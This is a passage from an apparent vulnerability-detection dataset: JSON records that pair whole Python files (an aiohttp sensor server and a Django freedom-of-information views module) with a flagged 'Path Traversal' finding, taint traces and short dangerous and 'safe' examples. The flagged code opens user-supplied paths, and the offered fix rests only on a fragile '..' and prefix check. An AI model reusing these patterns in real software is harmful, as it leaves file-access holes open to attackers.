re.search(pattern, line)\n t = []\n if match:\n if match.group(1) == 'RPY':\n for i in range(2, 5):\n v = float(match.group(i)) / 100\n t.append(v)\n t[1] = -t[1] # pitch is reversed.\n elif match.group(1) == 'ACC':\n for i in range(2, 5):\n v = -float(match.group(i)) / (65536 / 2) * 2 # So do ACC\n t.append(v)\n elif match.group(1) == 'GYR':\n for i in range(2, 5):\n v = float(match.group(i)) / (65536 / 2) * 2000\n t.append(v)\n elif match.group(1) == 'MAG':\n for i in range(2, 5):\n v = float(match.group(i)) * 0.15\n t.append(v)\n temp[match.group(1)] = t\n break\n\n def next(self, key):\n '''Get the next data point, and block until data are ready.'''\n key = key.upper()\n index = self._indexes[key]\n seq = self._history[key]\n while index >= len(seq):\n sleep(0.05)\n self._indexes[key] = index + 1\n return seq[index]\n\n def save(self, path):\n with open(path, encoding='utf-8', mode='w') as file:\n json.dump(self._history, file)\n\n def close(self):\n self._close = True\n while self._thread and self._thread.is_alive():\n sleep(0.1)\n\n\nasync def mock_display_handler(request):\n '''For testing when the board is not connected.'''\n roll = cycle(range(10, 100, 10))\n pitch = cycle(range(10, 100, 10))\n yaw = cycle(range(10, 100, 10))\n ws = web.WebSocketResponse()\n await ws.prepare(request)\n while True:\n try:\n await ws.receive(timeout=0.01)\n except asyncio.TimeoutError:\n sleep(0.5)\n # await ws.send_json([next(roll), next(pitch), next(yaw)])\n await ws.send_json([29.89, 55.37, 10.97])\n else:\n break\n return ws\n\nasync def display_handler(request):\n '''Handler for AH'''\n ws = web.WebSocketResponse()\n await ws.prepare(request)\n sensor = Sensor()\n while True:\n try:\n await ws.receive(timeout=0.01)\n except asyncio.TimeoutError:\n await ws.send_json(sensor.next('RPY'))\n else:\n break\n if request.app['files']['save_file'] != 'None':\n sensor.save(request.app['files']['save_file'])\n sensor.close()\n return ws\n\nasync def analyse_handler(request):\n '''Handler for charts'''\n param = await request.json()\n name = param['name']\n order = param['order']\n freq = param['freq']\n with open(request.app['files']['history_file'], encoding='utf-8') as file:\n history = json.load(file)\n data = history[name]\n # Filter\n if order != 'None':\n b, a = signal.butter(int(order), freq, 'lowpass')\n data_x = [v[0] for v in data]\n data_y = [v[1] for v in data]\n data_z = [v[2] for v in data]\n data_x = signal.filtfilt(b, a, data_x)\n data_y = signal.filtfilt(b, a, data_y)\n data_z = signal.filtfilt(b, a, data_z)\n data = [[v_x, v_y, v_z] for v_x, v_y, v_z in zip(data_x, data_y, data_z)]\n return web.json_response(data)\n\nasync def path_handler(request):\n '''Receive paths to history json.'''\n path_obj = await request.json()\n if 'display' in path_obj:\n if path_obj['display'] == 'None':\n app['files']['save_file'] = path_obj['display']\n text = 'ACK'\n else:\n try:\n with open(path_obj['display'], encoding='utf-8', mode='w') as _:\n app['files']['save_file'] = path_obj['display']\n except Exception as exc:\n text = repr(exc)\n else:\n text = 'ACK'\n elif 'analyse' in path_obj:\n try:\n with open(path_obj['analyse'], encoding='utf-8') as _:\n app['files']['history_file'] = path_obj['analyse']\n except Exception as exc:\n text = repr(exc)\n else:\n text = 'ACK'\n else:\n text = 'Invalid path type!'\n return web.Response(text=text)\n\n\napp = web.Application()\napp['files'] = {\n 'save_file': None,\n 'history_file': None,\n}\napp.add_routes([\n web.get('/display', mock_display_handler),\n # web.get('/display', display_handler),\n web.post('/analyse', analyse_handler),\n web.post('/path', path_handler),\n web.static('/', './static'),\n])\nweb.run_app(app)", "dangerousExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. file = os.open(name)\nLine 5: Insecure request.GET['name'] is used as a path to access a file.", "safeExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. if not \"..\" in name and name.startswith(white_path):\n6. file = os.open(name)\nLine 5: Do not use an insecure value as a path to access; use a filtered value only.", "contexts": [{"lineNo": 149, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 149, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestrequest.app"}}, {"lineNo": 149, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestrequest.app[\"files\"]"}}, {"lineNo": 149, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestrequest.app[\"files\"][\"history_file\"]"}}, {"lineNo": 149, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "open"}}]}} {"id": "784fd0f14e5bebce13199cf53288f69c950c9007aa1055d044a97393975f28bf", "license": {"spdx": ["MIT"], "repo": "okko/tietopyynto", "path": "froide/foirequest/views.py", "repo_head_hexsha": "66b7e7dbf3c3395d79af3da85b3b58f01fad62dc", "stack_hexsha": "0a4a2f43a2e2d4bfe21d212b676c2c619390317e", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Path Traversal", "issueDescriptionEn": "The Path Manipulation checker finds instances in which an unvalidated external input creates a path accessible to the file system.\nIf unvalidated external inputs are allowed to be used for access to files, servers, or other system resources, attackers can manipulate inputs to access an unintended path in the program. In other words, path manipulation can be used to obtain illegitimate access to modify or execute settings files.\nIf external inputs are used as identifiers for resources (such as files), make sure they pass appropriate validation. Especially, if external inputs are filenames, use a filter to remove characters such as `, /, \\, and .. that can be exploited for a directory traversal attack.", "issueLineNumber": 1043, "entireCode": "import datetime\nimport re\nimport json\nimport magic\n\nfrom django.utils.six import text_type as str\nfrom django.conf import settings\nfrom django.core.files import File\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom django.core.urlresolvers import reverse\nfrom django.utils import timezone\nfrom django.shortcuts import render, get_object_or_404, redirect\nfrom django.views.decorators.http import require_POST\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.utils.translation import ugettext_lazy as _\n# from django.utils.http import is_safe_url FIXME: reinstate import\nfrom .utils import is_safe_url\nfrom django.http import Http404, HttpResponse\nfrom django.template.defaultfilters import slugify\nfrom django.contrib import messages\nfrom django.contrib.auth import get_user_model\nfrom django.contrib.sitemaps import Sitemap\n\nfrom haystack.query import SearchQuerySet\nfrom taggit.models import Tag\n\nfrom froide.account.forms import NewUserForm\nfrom froide.account.models import AccountManager\nfrom froide.publicbody.forms import PublicBodyForm\nfrom froide.publicbody.models import PublicBody, PublicBodyTag, FoiLaw, Jurisdiction\nfrom froide.frontpage.models import FeaturedRequest\nfrom froide.helper.utils import render_400, render_403\nfrom froide.helper.cache import cache_anonymous_page\nfrom froide.redaction.utils import convert_to_pdf\n\nfrom .models import FoiRequest, FoiMessage, FoiEvent, FoiAttachment\nfrom .forms import (RequestForm, ConcreteLawForm, TagFoiRequestForm,\n SendMessageForm, FoiRequestStatusForm,\n MakePublicBodySuggestionForm, PostalReplyForm,\n PostalAttachmentForm,\n MessagePublicBodySenderForm,\n EscalationMessageForm, OnlineAttachmentForm,\n DescribeFoiRequestForm)\nfrom .feeds import LatestFoiRequestsFeed, LatestFoiRequestsFeedAtom\nfrom .tasks import process_mail\nfrom .foi_mail import package_foirequest\nfrom .hooks import registry\nfrom .utils import check_throttle\n\n\nX_ACCEL_REDIRECT_PREFIX = getattr(settings, 'X_ACCEL_REDIRECT_PREFIX', '')\nUser = get_user_model()\n\n\n@cache_anonymous_page(15 * 60)\ndef index(request):\n successful_foi_requests = FoiRequest.published.successful()[:8]\n unsuccessful_foi_requests = FoiRequest.published.unsuccessful()[:8]\n featured = FeaturedRequest.objects.getFeatured()\n return render(request, 'index.html',\n {'featured': featured,\n 'successful_foi_requests': successful_foi_requests,\n 'unsuccessful_foi_requests': unsuccessful_foi_requests,\n 'foicount': FoiRequest.published.for_list_view().count(),\n 'pbcount': PublicBody.objects.get_list().count()\n })\n\n\ndef dashboard(request):\n if not request.user.is_staff:\n return render_403(request)\n context = {}\n user = {}\n start_date = timezone.utc.localize(datetime.datetime(2011, 7, 30))\n for u in User.objects.filter(\n is_active=True,\n date_joined__gte=start_date):\n d = u.date_joined.date().isoformat()\n user.setdefault(d, 0)\n user[d] += 1\n context['user'] = sorted([{'date': k, 'num': v, 'symbol': 'user'} for k, v in user.items()], key=lambda x: x['date'])\n total = 0\n for user in context['user']:\n total += user['num']\n user['total'] = total\n foirequest = {}\n foi_query = FoiRequest.objects.filter(\n is_foi=True,\n public_body__isnull=False,\n first_message__gte=start_date\n )\n if request.GET.get('notsameas'):\n foi_query = foi_query.filter(same_as__isnull=True)\n if request.GET.get('public'):\n foi_query = foi_query.filter(visibility=FoiRequest.VISIBLE_TO_PUBLIC)\n for u in foi_query:\n d = u.first_message.date().isoformat()\n foirequest.setdefault(d, 0)\n foirequest[d] += 1\n context['foirequest'] = sorted([{'date': k, 'num': v, 'symbol': 'user'} for k, v in foirequest.items()], key=lambda x: x['date'])\n total = 0\n for req in context['foirequest']:\n total += req['num']\n req['total'] = total\n return render(request, 'foirequest/dashboard.html', {'data': json.dumps(context)})\n\n\ndef list_requests(request, status=None, topic=None, tag=None,\n jurisdiction=None, public_body=None, not_foi=False, feed=None):\n context = {\n 'filtered': True\n }\n manager = FoiRequest.published\n if not_foi:\n manager = FoiRequest.published_not_foi\n topic_list = PublicBodyTag.objects.get_topic_list()\n if status is None:\n status = request.GET.get(str(_('status')), None)\n status_url = status\n foi_requests = manager.for_list_view()\n if status is not None:\n func_status = FoiRequest.get_status_from_url(status)\n if func_status is None:\n raise Http404\n func, status = func_status\n foi_requests = foi_requests.filter(func(status))\n context.update({\n 'status': FoiRequest.get_readable_status(status),\n 'status_description': FoiRequest.get_status_description(status)\n })\n elif topic is not None:\n topic = get_object_or_404(PublicBodyTag, slug=topic)\n foi_requests = manager.for_list_view().filter(public_body__tags=topic)\n context.update({\n 'topic': topic,\n })\n elif tag is not None:\n tag = get_object_or_404(Tag, slug=tag)\n foi_requests = manager.for_list_view().filter(tags=tag)\n context.update({\n 'tag': tag\n })\n else:\n foi_requests = manager.for_list_view()\n context['filtered'] = False\n\n if jurisdiction is not None:\n jurisdiction = get_object_or_404(Jurisdiction, slug=jurisdiction)\n foi_requests = foi_requests.filter(jurisdiction=jurisdiction)\n context.update({\n 'jurisdiction': jurisdiction\n })\n elif public_body is not None:\n public_body = get_object_or_404(PublicBody, slug=public_body)\n foi_requests = foi_requests.filter(public_body=public_body)\n context.update({\n 'public_body': public_body\n })\n context['filtered'] = True\n context['jurisdiction_list'] = Jurisdiction.objects.get_visible()\n else:\n context['jurisdiction_list'] = Jurisdiction.objects.get_visible()\n context['filtered'] = False\n\n if feed is not None:\n if feed == 'rss':\n klass = LatestFoiRequestsFeed\n else:\n klass = LatestFoiRequestsFeedAtom\n return klass(foi_requests, status=status_url, topic=topic,\n tag=tag, jurisdiction=jurisdiction)(request)\n\n count = foi_requests.count()\n\n page = request.GET.get('page')\n paginator = Paginator(foi_requests, 20)\n\n if request.GET.get('all') is not None:\n if count <= 500:\n paginator = Paginator(foi_requests, count)\n try:\n foi_requests = paginator.page(page)\n except PageNotAnInteger:\n foi_requests = paginator.page(1)\n except EmptyPage:\n foi_requests = paginator.page(paginator.num_pages)\n\n context.update({\n 'page_title': _(\"FoI Requests\"),\n 'count': count,\n 'not_foi': not_foi,\n 'object_list': foi_requests,\n 'status_list': [(str(x[0]),\n FoiRequest.get_readable_status(x[2]),\n x[2]) for x in FoiRequest.get_status_url()],\n 'topic_list': topic_list\n })\n\n return render(request, 'foirequest/list.html', context)\n\n\ndef shortlink(request, obj_id):\n foirequest = get_object_or_404(FoiRequest, pk=obj_id)\n if foirequest.is_visible(request.user):\n return redirect(foirequest)\n else:\n return render_403(request)\n\n\ndef auth(request, obj_id, code):\n foirequest = get_object_or_404(FoiRequest, pk=obj_id)\n if foirequest.is_visible(request.user):\n return redirect(foirequest)\n if foirequest.check_auth_code(code):\n request.session['pb_auth'] = code\n return redirect(foirequest)\n else:\n return render_403(request)\n\n\ndef document_upload(request, obj_id, code):\n \"Allow uploading large files directly\"\n foirequest = get_object_or_404(FoiRequest, pk=obj_id)\n\n if foirequest.check_auth_code(code):\n # this enables viewing the private foirequest too\n request.session['pb_auth'] = code\n else:\n return render_403(request)\n\n if request.method == \"POST\":\n form = OnlineAttachmentForm(request.POST, request.FILES)\n if form.is_valid():\n # create a message\n msg = FoiMessage.objects.create(\n request=foirequest,\n subject=_(\"Web form upload\"),\n subject_redacted=_(\"Web form upload\"),\n is_response=True,\n sender_name=form.cleaned_data[\"sender_name\"],\n sender_email=form.cleaned_data[\"sender_email\"],\n recipient=foirequest.user.display_name(),\n plaintext=form.cleaned_data[\"text\"],\n timestamp=timezone.now(),\n )\n\n # update foirequest\n foirequest.plaintext_redacted = msg.redact_plaintext()\n foirequest.last_message = timezone.now()\n foirequest.status = 'awaiting_classification'\n foirequest.save()\n\n # add attachments\n for doc in form.cleaned_data[\"documents\"]:\n att = FoiAttachment(\n belongs_to=msg,\n name=doc.name,\n size=doc.size,\n file=doc\n )\n\n # sniff the content type\n doc.seek(0)\n content_type = magic.from_buffer(doc.read(1024), mime=True)\n content_type = content_type.decode('utf-8')\n doc.seek(0)\n\n att.content_type = content_type\n att.name = foirequest.user.apply_message_redaction(\n att.name,\n {\n 'email': False,\n 'address': False,\n # Translators: replacement for person name in filename\n 'name': str(_('NAME'))\n }\n )\n # defeat simple XSS attempts\n if att.name.endswith(\"html\"):\n att.name += \".txt\"\n att.save()\n\n # inform everybody involved\n messages.add_message(request, messages.SUCCESS, _(u\"Upload successful. Thank you for uploading these documents.\"))\n foirequest.message_received.send(sender=foirequest, message=msg)\n\n return redirect('index')\n else:\n form = OnlineAttachmentForm(initial={\"sender_email\": foirequest.public_body.email})\n\n return render(\n request,\n \"foirequest/document_upload.html\",\n {\"form\": form, \"foi\": foirequest}\n )\n\n\ndef show(request, slug, template_name=\"foirequest/show.html\",\n context=None, status=200):\n try:\n obj = FoiRequest.objects.select_related(\"public_body\",\n \"user\", \"law\").get(slug=slug)\n except FoiRequest.DoesNotExist:\n raise Http404\n if not obj.is_visible(request.user, pb_auth=request.session.get('pb_auth')):\n return render_403(request)\n all_attachments = FoiAttachment.objects.select_related('redacted')\\\n .filter(belongs_to__request=obj).all()\n for message in obj.messages:\n message.request = obj\n if message.not_publishable:\n obj.not_publishable_message = message\n message.all_attachments = filter(\n lambda x: x.belongs_to_id == message.id, all_attachments)\n message.approved_attachments = filter(\n lambda x: x.belongs_to_id == message.id and x.approved,\n all_attachments\n )\n message.not_approved_attachments = filter(\n lambda x: x.belongs_to_id == message.id and not x.approved,\n all_attachments\n )\n for att in message.all_attachments:\n att.belongs_to = message\n\n events = FoiEvent.objects.filter(request=obj).select_related(\n \"user\", \"request\",\n \"public_body\").order_by(\"timestamp\")\n\n event_count = len(events)\n last_index = event_count\n for message in reversed(obj.messages):\n message.events = [ev for ev in events[:last_index]\n if ev.timestamp >= message.timestamp]\n last_index = last_index - len(message.events)\n\n if context is None:\n context = {}\n\n active_tab = 'info'\n if request.user.is_authenticated and request.user == obj.user:\n if obj.awaits_classification():\n active_tab = 'set-status'\n elif obj.is_overdue() and obj.awaits_response():\n active_tab = 'write-message'\n\n if 'postal_reply_form' in context:\n active_tab = 'add-postal-reply'\n elif 'status_form' in context:\n active_tab = 'set-status'\n elif 'send_message_form' in context:\n active_tab = 'write-message'\n elif 'escalation_form' in context:\n active_tab = 'escalate'\n\n context.update({\n \"object\": obj,\n \"active_tab\": active_tab\n })\n return render(request, template_name, context, status=status)\n\n\ndef search(request):\n query = request.GET.get(\"q\", \"\")\n foirequests = []\n publicbodies = []\n if query:\n results = SearchQuerySet().models(FoiRequest).auto_query(query)[:25]\n for result in results:\n if result.object and result.object.in_search_index():\n foirequests.append(result.object)\n results = SearchQuerySet().models(PublicBody).auto_query(query)[:25]\n for result in results:\n publicbodies.append(result.object)\n context = {\n \"foirequests\": foirequests,\n \"publicbodies\": publicbodies,\n \"query\": query\n }\n return render(request, \"search/search.html\", context)\n\n\ndef make_request(request, public_body=None, public_body_id=None):\n if public_body_id is not None:\n public_body = get_object_or_404(PublicBody,\n pk=int(public_body_id))\n url = reverse('foirequest-make_request', kwargs={\n 'public_body': public_body.slug\n })\n # Keep the query string for subject, body intact on redirect\n return redirect('%s?%s' % (url, request.META['QUERY_STRING']),\n permanent=True)\n\n public_body_form = None\n if public_body is not None:\n public_body = get_object_or_404(PublicBody,\n slug=public_body)\n if not public_body.email:\n raise Http404\n all_laws = FoiLaw.objects.filter(jurisdiction=public_body.jurisdiction)\n else:\n all_laws = FoiLaw.objects.all()\n public_body_form = PublicBodyForm()\n initial = {\n \"subject\": request.GET.get('subject', ''),\n \"reference\": request.GET.get('ref', ''),\n \"redirect_url\": request.GET.get('redirect', '')\n }\n if 'body' in request.GET:\n initial['body'] = request.GET['body']\n\n if 'hide_public' in request.GET:\n initial['hide_public'] = True\n initial['public'] = False\n\n if 'hide_similar' in request.GET:\n initial['hide_similar'] = True\n\n initial['jurisdiction'] = request.GET.get(\"jurisdiction\", None)\n public_body_search = request.GET.get(\"topic\", \"\")\n initial['public_body_search'] = public_body_search\n\n default_law = FoiLaw.get_default_law(public_body)\n if default_law is None:\n messages.add_message(request, messages.INFO,\n _('You need to setup a default FOI Law object'))\n return render(request, '500.html')\n\n rq_form = RequestForm(user=request.user, list_of_laws=all_laws,\n default_law=default_law, initial=initial)\n\n user_form = None\n if not request.user.is_authenticated:\n initial_user_data = {}\n if 'email' in request.GET:\n initial_user_data['user_email'] = request.GET['email']\n if 'first_name' in request.GET:\n initial_user_data['first_name'] = request.GET['first_name']\n if 'last_name' in request.GET:\n initial_user_data['last_name'] = request.GET['last_name']\n user_form = NewUserForm(initial=initial_user_data)\n\n return render(request, 'foirequest/request.html', {\n \"public_body\": public_body,\n \"public_body_form\": public_body_form,\n \"request_form\": rq_form,\n \"user_form\": user_form,\n \"public_body_search\": public_body_search,\n \"is_expert\": request.user.is_authenticated() and request.user.is_expert,\n })\n\n\n@require_POST\ndef submit_request(request, public_body=None):\n error = False\n foi_law = None\n if public_body is not None:\n public_body = get_object_or_404(PublicBody,\n slug=public_body)\n if not public_body.email:\n raise Http404\n all_laws = FoiLaw.objects.filter(jurisdiction=public_body.jurisdiction)\n else:\n all_laws = FoiLaw.objects.all()\n context = {\"public_body\": public_body}\n\n request_form = RequestForm(user=request.user,\n list_of_laws=all_laws,\n default_law=FoiLaw.get_default_law(),\n data=request.POST)\n context['request_form'] = request_form\n context['public_body_form'] = PublicBodyForm()\n if (public_body is None and\n request.POST.get('public_body') == \"new\"):\n pb_form = PublicBodyForm(request.POST)\n context[\"public_body_form\"] = pb_form\n if pb_form.is_valid():\n data = pb_form.cleaned_data\n data['confirmed'] = False\n # Take the first jurisdiction there is\n data['jurisdiction'] = Jurisdiction.objects.all()[0]\n data['slug'] = slugify(data['name'])\n public_body = PublicBody(**data)\n else:\n error = True\n\n if not request_form.is_valid():\n error = True\n else:\n if (public_body is None and\n request_form.cleaned_data['public_body'] != '' and\n request_form.cleaned_data['public_body'] != 'new'):\n public_body = request_form.public_body_object\n\n context['user_form'] = None\n user = None\n if not request.user.is_authenticated:\n user_form = NewUserForm(request.POST)\n context['user_form'] = user_form\n if not user_form.is_valid():\n error = True\n else:\n user = request.user\n\n if error:\n messages.add_message(request, messages.ERROR,\n _('There were errors in your form submission. Please review and submit again.'))\n return render(request, 'foirequest/request.html', context, status=400)\n\n password = None\n if user is None:\n user, password = AccountManager.create_user(**user_form.cleaned_data)\n sent_to_pb = 1\n if public_body is not None and public_body.pk is None:\n public_body._created_by = user\n public_body.save()\n sent_to_pb = 2\n elif public_body is None:\n sent_to_pb = 0\n\n if foi_law is None:\n if public_body is not None:\n foi_law = public_body.default_law\n else:\n foi_law = request_form.foi_law\n\n kwargs = registry.run_hook('pre_request_creation', request,\n user=user,\n public_body=public_body,\n foi_law=foi_law,\n form_data=request_form.cleaned_data,\n post_data=request.POST\n )\n foi_request = FoiRequest.from_request_form(**kwargs)\n\n special_redirect = None\n if request_form.cleaned_data['redirect_url']:\n redirect_url = request_form.cleaned_data['redirect_url']\n if is_safe_url(redirect_url, allowed_hosts=settings.ALLOWED_REDIRECT_HOSTS):\n special_redirect = redirect_url\n\n if user.is_active:\n if sent_to_pb == 0:\n messages.add_message(request, messages.INFO,\n _('Others can now suggest the Public Bodies for your request.'))\n elif sent_to_pb == 2:\n messages.add_message(request, messages.INFO,\n _('Your request will be sent as soon as the newly created Public Body was confirmed by an administrator.'))\n else:\n messages.add_message(request, messages.INFO,\n _('Your request has been sent.'))\n req_url = u'%s%s' % (foi_request.get_absolute_url(), _('?request-made'))\n return redirect(special_redirect or req_url)\n else:\n AccountManager(user).send_confirmation_mail(request_id=foi_request.pk,\n password=password)\n messages.add_message(request, messages.INFO,\n _('Please check your inbox for mail from us to confirm your mail address.'))\n # user cannot access the request yet, redirect to custom URL or homepage\n return redirect(special_redirect or \"/\")\n\n\n@require_POST\ndef set_description(request, slug):\n foirequest = get_object_or_404(FoiRequest, slug=slug)\n if not request.user.is_authenticated or request.user != foirequest.user:\n return render_403(request)\n\n form = DescribeFoiRequestForm(request.POST)\n if form.is_valid():\n foirequest.description = form.cleaned_data[\"description\"]\n foirequest.save()\n messages.success(request, _(\"Description changed\"))\n return redirect(foirequest)\n\n messages.add_message(request, messages.ERROR,\n _('Invalid value for form submission!'))\n return show(request, slug, context={\"description_form\": form}, status=400)\n\n\n@require_POST\ndef set_public_body(request, slug):\n foirequest = get_object_or_404(FoiRequest, slug=slug)\n if not request.user.is_authenticated or request.user != foirequest.user:\n return render_403(request)\n try:\n public_body_pk = int(request.POST.get('suggestion', ''))\n except ValueError:\n messages.add_message(request, messages.ERROR,\n _('Missing or invalid input!'))\n return redirect(foirequest)\n try:\n public_body = PublicBody.objects.get(pk=public_body_pk)\n except PublicBody.DoesNotExist:\n messages.add_message(request, messages.ERROR,\n _('Missing or invalid input!'))\n return render_400(request)\n if not foirequest.needs_public_body():\n messages.add_message(request, messages.ERROR,\n _(\"This request doesn't need a Public Body!\"))\n return render_400(request)\n\n throttle_message = check_throttle(request.user, FoiRequest)\n if throttle_message:\n messages.add_message(request, messages.ERROR, throttle_message)\n return render_400(request)\n\n foilaw = public_body.default_law\n foirequest.set_public_body(public_body, foilaw)\n\n messages.add_message(request, messages.SUCCESS,\n _(\"Request was sent to: %(name)s.\") % {\"name\": public_body.name})\n return redirect(foirequest)\n\n\n@require_POST\ndef suggest_public_body(request, slug):\n foirequest = get_object_or_404(FoiRequest, slug=slug)\n if not foirequest.needs_public_body():\n return render_400(request)\n form = MakePublicBodySuggestionForm(request.POST)\n if form.is_valid():\n # FIXME: make foilaw dynamic\n # foilaw = public_body.default_law\n public_body = form.public_body_object\n user = None\n if request.user.is_authenticated:\n user = request.user\n response = foirequest.suggest_public_body(public_body,\n form.cleaned_data['reason'], user)\n if response:\n messages.add_message(request, messages.SUCCESS,\n _('Your Public Body suggestion has been added.'))\n else:\n messages.add_message(request, messages.WARNING,\n _('This Public Body has already been suggested.'))\n return redirect(foirequest)\n messages.add_message(request, messages.ERROR,\n _(\"You need to specify a Public Body!\"))\n return render_400(request)\n\n\n@require_POST\ndef set_status(request, slug):\n foirequest = get_object_or_404(FoiRequest, slug=slug)\n if not request.user.is_authenticated or request.user != foirequest.user:\n return render_403(request)\n form = FoiRequestStatusForm(foirequest, request.POST)\n if form.is_valid():\n form.set_status()\n messages.add_message(request, messages.SUCCESS,\n _('Status of request has been updated.'))\n else:\n messages.add_message(request, messages.ERROR,\n _('Invalid value for form submission!'))\n return show(request, slug, context={\"status_form\": form}, status=400)\n return redirect(foirequest.get_absolute_url() + '#-')\n\n\n@require_POST\ndef send_message(request, slug):\n foirequest = get_object_or_404(FoiRequest, slug=slug)\n if not request.user.is_authenticated:\n return render_403(request)\n if request.user != foirequest.user:\n return render_403(request)\n form = SendMessageForm(foirequest, request.POST)\n if form.is_valid():\n mes = form.save(request.user)\n messages.add_message(request, messages.SUCCESS,\n _('Your Message has been sent.'))\n return redirect(mes)\n else:\n return show(request, slug, context={\"send_message_form\": form}, status=400)\n\n\n@require_POST\ndef escalation_message(request, slug):\n foirequest = get_object_or_404(FoiRequest, slug=slug)\n if not request.user.is_authenticated:\n return render_403(request)\n if request.user != foirequest.user:\n return render_403(request)\n if not foirequest.can_be_escalated():\n messages.add_message(request, messages.ERROR,\n _('Your request cannot be escalated.'))\n return show(request, slug, status=400)\n form = EscalationMessageForm(foirequest, request.POST)\n if form.is_valid():\n form.save()\n messages.add_message(request, messages.SUCCESS,\n _('Your Escalation Message has been sent.'))\n return redirect(foirequest)\n else:\n return show(request, slug, context={\"escalation_form\": form}, status=400)\n\n\n@require_POST\ndef make_public(request, slug):\n foirequest = get_object_or_404(FoiRequest, slug=slug)\n if not request.user.is_authenticated or request.user != foirequest.user:\n return render_403(request)\n foirequest.make_public()\n return redirect(foirequest)\n\n\n@require_POST\ndef set_law(request, slug):\n foirequest = get_object_or_404(FoiRequest, slug=slug)\n if not request.user.is_authenticated or request.user != foirequest.user:\n return render_403(request)\n if not foirequest.response_messages():\n return render_400(request)\n if not foirequest.law.meta:\n return render_400(request)\n form = ConcreteLawForm(foirequest, request.POST)\n if not form.is_valid():\n return render_400(request)\n form.save()\n messages.add_message(request, messages.SUCCESS,\n _('A concrete law has been set for this request.'))\n return redirect(foirequest)\n\n\n@require_POST\ndef set_tags(request, slug):\n foirequest = get_object_or_404(FoiRequest, slug=slug)\n if not request.user.is_authenticated or not request.user.is_staff:\n return render_403(request)\n form = TagFoiRequestForm(foirequest, request.POST)\n if form.is_valid():\n form.save()\n messages.add_message(request, messages.SUCCESS,\n _('Tags have been set for this request'))\n return redirect(foirequest)\n\n\n@require_POST\ndef set_summary(request, slug):\n foirequest = get_object_or_404(FoiRequest, slug=slug)\n if not request.user.is_authenticated or request.user != foirequest.user:\n return render_403(request)\n if not foirequest.status_is_final():\n return render_400(request)\n summary = request.POST.get('summary', None)\n if summary is None:\n return render_400(request)\n foirequest.summary = summary\n foirequest.save()\n messages.add_message(request, messages.SUCCESS,\n _('The outcome summary has been saved.'))\n return redirect(foirequest)\n\n\n@require_POST\ndef add_postal_reply(request, slug):\n foirequest = get_object_or_404(FoiRequest, slug=slug)\n if not request.user.is_authenticated or request.user != foirequest.user:\n return render_403(request)\n if not foirequest.public_body:\n return render_400(request)\n form = PostalReplyForm(request.POST, request.FILES)\n if form.is_valid():\n message = FoiMessage(request=foirequest,\n is_response=True,\n is_postal=True,\n sender_name=form.cleaned_data['sender'],\n sender_public_body=foirequest.public_body)\n # TODO: Check if timezone support is correct\n date = datetime.datetime.combine(form.cleaned_data['date'], datetime.time())\n message.timestamp = timezone.get_current_timezone().localize(date)\n message.subject = form.cleaned_data.get('subject', '')\n message.subject_redacted = message.redact_subject()[:250]\n message.plaintext = \"\"\n if form.cleaned_data.get('text'):\n message.plaintext = form.cleaned_data.get('text')\n message.plaintext_redacted = message.get_content()\n message.not_publishable = form.cleaned_data['not_publishable']\n message.save()\n foirequest.last_message = message.timestamp\n foirequest.status = 'awaiting_classification'\n foirequest.save()\n foirequest.add_postal_reply.send(sender=foirequest)\n\n if form.cleaned_data.get('scan'):\n scan = request.FILES['scan']\n scan_name = scan.name.rsplit(\".\", 1)\n scan_name = \".\".join([slugify(n) for n in scan_name])\n att = FoiAttachment(belongs_to=message,\n name=scan_name,\n size=scan.size,\n filetype=scan.content_type)\n att.file.save(scan_name, scan)\n att.approved = False\n att.save()\n messages.add_message(request, messages.SUCCESS,\n _('A postal reply was successfully added!'))\n return redirect(message)\n messages.add_message(request, messages.ERROR,\n _('There were errors with your form submission!'))\n return show(request, slug, context={\"postal_reply_form\": form}, status=400)\n\n\n@require_POST\ndef add_postal_reply_attachment(request, slug, message_id):\n foirequest = get_object_or_404(FoiRequest, slug=slug)\n try:\n message = FoiMessage.objects.get(request=foirequest, pk=int(message_id))\n except (ValueError, FoiMessage.DoesNotExist):\n raise Http404\n if not request.user.is_authenticated:\n return render_403(request)\n if request.user != foirequest.user:\n return render_403(request)\n if not message.is_postal:\n return render_400(request)\n form = PostalAttachmentForm(request.POST, request.FILES)\n if form.is_valid():\n scan = request.FILES['scan']\n scan_name = scan.name.rsplit(\".\", 1)\n scan_name = \".\".join([slugify(n) for n in scan_name])\n try:\n att = FoiAttachment.objects.get(belongs_to=message, name=scan_name)\n status_message = _('Your document was added to the message and replaced '\n 'an existing attachment with the same name.')\n except FoiAttachment.DoesNotExist:\n att = FoiAttachment(belongs_to=message, name=scan_name)\n status_message = _('Your document was added to the message as a '\n 'new attachment.')\n att.size = scan.size\n att.filetype = scan.content_type\n att.file.save(scan_name, scan)\n att.approved = False\n att.save()\n messages.add_message(request, messages.SUCCESS, status_message)\n return redirect(message)\n messages.add_message(request, messages.ERROR,\n form._errors['scan'][0])\n return render_400(request)\n\n\n@require_POST\ndef set_message_sender(request, slug, message_id):\n foirequest = get_object_or_404(FoiRequest, slug=slug)\n try:\n message = FoiMessage.objects.get(request=foirequest,\n pk=int(message_id))\n except (ValueError, FoiMessage.DoesNotExist):\n raise Http404\n if not request.user.is_authenticated:\n return render_403(request)\n if request.user != foirequest.user:\n return render_403(request)\n if not message.is_response:\n return render_400(request)\n form = MessagePublicBodySenderForm(message, request.POST)\n if form.is_valid():\n form.save()\n return redirect(message)\n messages.add_message(request, messages.ERROR,\n form._errors['sender'][0])\n return render_400(request)\n\n\n@require_POST\ndef mark_not_foi(request, slug):\n foirequest = get_object_or_404(FoiRequest, slug=slug)\n if not request.user.is_authenticated:\n return render_403(request)\n if not request.user.is_staff:\n return render_403(request)\n foirequest.is_foi = False\n foirequest.save()\n messages.add_message(request, messages.SUCCESS,\n _('Request marked as not a FoI request.'))\n return redirect(foirequest)\n\n\n@require_POST\ndef mark_checked(request, 